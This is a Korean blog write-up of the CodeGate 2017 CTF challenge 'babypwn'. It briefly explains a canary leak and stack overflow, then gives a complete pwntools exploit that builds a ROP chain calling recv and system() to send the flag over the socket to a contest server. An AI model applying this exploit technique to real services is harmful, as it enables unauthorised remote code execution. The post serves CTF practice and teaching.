본문 바로가기

ctf

[CodeGate 2017 CTF] babypwn

취약점이 존재하는 부분이다. babypwn 이기에 어렵지 않다.

먼저 canary leak 을 통해 canary 값을 알아낸 후, Message 입력을 통해 canary 값과 payload를 위치에 맞게 넣어 overflow 를 일으키면 RET 주소를 control 할 수 있다.

 

# exploit.py

from pwn import *

binary = ELF('./babypwn')
p = remote('110.10.212.130', 8889)

canary = 0xd39b6e00
ppppr = 0x08048eec
bss = 0x0804b1b4
system_libc = 0xf75af190


shell = "cat flag>&4\00"


payload = 'A'*40 + p32(canary) + 'A'*12
payload += p32(binary.plt['recv']) + p32(ppppr) + p32(4) + p32(bss) + p32(len(shell) + 1) + p32(0)
payload += p32(system_libc) + 'AAAA' + p32(bss)


print p.recvuntil('menu > ')
p.sendline('1\n')

print p.recvuntil('Message : ')
p.sendline(payload + '\n')

print p.recvuntil('menu > ')

p.sendline('3\n')
p.sendline(shell)

print p.recv(1024)

'ctf' 카테고리의 다른 글

[CodeGate 2017 CTF] angrybird  (0) 2017.02.22
[CodeGate 2017 CTF] messenger  (0) 2017.02.22
[pwnable.tw] start  (0) 2017.02.06
[Christmas 2016 CTF] solo  (0) 2017.02.04
[TJCTF 2016 CTF] oneshot  (0) 2017.01.20